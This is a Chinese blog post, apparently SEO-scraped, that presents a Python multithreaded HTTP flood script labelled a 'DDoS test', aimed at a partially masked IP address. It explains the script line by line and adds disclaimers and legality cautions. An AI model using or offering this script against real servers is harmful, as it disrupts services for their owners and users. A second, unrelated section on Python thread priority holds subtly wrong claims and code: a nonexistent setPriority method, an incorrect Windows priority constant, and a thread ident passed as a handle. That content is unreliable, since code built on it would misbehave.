html5 网站 代码,关于电子商务的论文,公司内部网站维护,门户网站制作哪专业DDoS测试脚本
声明#xff1a;本文所涉及代码仅供学习使用#xff0c;任何人利用此造成的一切后果与本人无关
源码
import requests
import threading# 目标URL
target_url http://47.121.xxx.xxx/# 发送请求的函数
def send_request():while True:try:respo…DDoS测试脚本
声明本文所涉及代码仅供学习使用任何人利用此造成的一切后果与本人无关
源码
import requests
import threading# 目标URL
target_url http://47.121.xxx.xxx/# 发送请求的函数
def send_request():while True:try:response requests.get(target_url)print(fSent request to {target_url}, Status Code: {response.status_code})except requests.exceptions.RequestException as e:print(fError: {e})# 创建多个线程进行攻击
def start_attack(thread_counts):threads []for i in range(thread_counts):thread threading.Thread(targetsend_request)threads.append(thread)thread.start()for thread in threads:thread.join()if __name__ __main__:# 设置线程数量thread_count 10start_attack(thread_count)源码解析
代码结构 导入模块 import requests
import threadingrequests 模块用于发送HTTP请求。 threading 模块用于创建和管理线程。 定义目标URL target_url http://47.121.xxx.xxx/这里指定了要发送请求的目标URL。 发送请求的函数 def send_request():while True:try:response requests.get(target_url)print(fSent request to {target_url}, Status Code: {response.status_code})except requests.exceptions.RequestException as e:print(fError: {e})send_request 函数在一个无限循环中不断发送HTTP GET请求到目标URL。 使用 try-except 块捕获可能的请求异常并打印错误信息。 创建多个线程进行攻击 def start_attack(thread_counts):threads []for i in range(thread_counts):thread threading.Thread(targetsend_request)threads.append(thread)thread.start()for thread in threads:thread.join()start_attack 函数接受一个参数 thread_counts表示要创建的线程数量。 使用一个循环创建指定数量的线程每个线程的目标函数是 send_request。 启动所有线程后使用 join 方法等待所有线程完成。 主程序入口 if __name__ __main__:# 设置线程数量thread_count 10start_attack(thread_count)在主程序入口处设置线程数量为10并调用 start_attack 函数启动攻击。
功能描述 该脚本的主要功能是对指定的目标URL进行高并发的HTTP GET请求。 通过创建多个线程每个线程不断发送请求从而实现对目标服务器的压力测试或DDoS攻击。
注意事项 合法性这种行为可能违反目标服务器的使用条款甚至可能触犯法律。未经授权进行此类操作是非法的请务必确保在合法授权的情况下进行。 道德性即使有授权也应考虑对目标服务器的影响避免对其造成不必要的负担或损害。
安全建议 避免滥用不要将此类脚本用于恶意目的如DDoS攻击。 合理使用仅在合法授权的情况下用于性能测试或安全评估。 监控与控制在实际使用中应设置合理的请求频率和线程数量避免对目标服务器造成过大压力。
总之这段代码展示了如何使用Python进行多线程HTTP请求但在实际使用中应严格遵守法律法规和道德准则。
多线程的优先级调用
在 Python 中线程优先级通常不由开发者直接设置而是依赖于操作系统的线程调度机制。Python 的 threading 模块并没有提供直接设置线程优先级的功能。不过你可以使用 os 模块中的 nice() 函数来尝试影响线程的优先级但这通常只在 Unix/Linux 系统上有效并且这种影响是有限的。
以下是一个示例展示如何在 Unix/Linux 系统上使用 os.nice() 来尝试调整线程的优先级
import threading
import os
import timedef worker():while True:print(fThread {threading.current_thread().name} is running)time.sleep(1)# 创建一个新线程
t threading.Thread(targetworker, nameWorkerThread)# 设置线程的优先级仅适用于 Unix/Linux
try:# 设置线程的 nice 值为 10较低的优先级os.nice(10)
except AttributeError:print(Setting thread priority is not supported on this platform.)# 启动线程
t.start()# 主线程等待一段时间后退出
time.sleep(5)在这个示例中我们创建了一个新线程并尝试使用 os.nice() 来设置其优先级。需要注意的是os.nice() 影响的是进程的优先级而不是单个线程的优先级。在 Unix/Linux 系统上Python 线程实际上是共享同一个进程的因此 os.nice() 会影响整个进程及其所有线程。
如果你需要在 Windows 系统上设置线程优先级可以使用 threading.Thread 的 setPriority() 方法这是一个非标准的扩展只在某些版本的 Python 中可用或者使用 ctypes 库来调用 Windows API。
以下是一个在 Windows 上使用 ctypes 设置线程优先级的示例
import threading
import ctypes
import time# 定义线程优先级常量
THREAD_PRIORITY_LOWEST 19def set_thread_priority(thread, priority):设置线程的优先级ctypes.windll.kernel32.SetThreadPriority(ctypes.c_long(thread.ident), priority)def worker():while True:print(fThread {threading.current_thread().name} is running)time.sleep(1)# 创建一个新线程
t threading.Thread(targetworker, nameWorkerThread)# 启动线程
t.start()# 设置线程的优先级
set_thread_priority(t, THREAD_PRIORITY_LOWEST)# 主线程等待一段时间后退出
time.sleep(5)在这个示例中我们使用 ctypes 库调用 Windows API 来设置线程的优先级。这种方法更为复杂但提供了更细粒度的控制。
需要注意的是调整线程优先级可能会影响程序的性能和响应性因此应谨慎使用并确保充分测试。
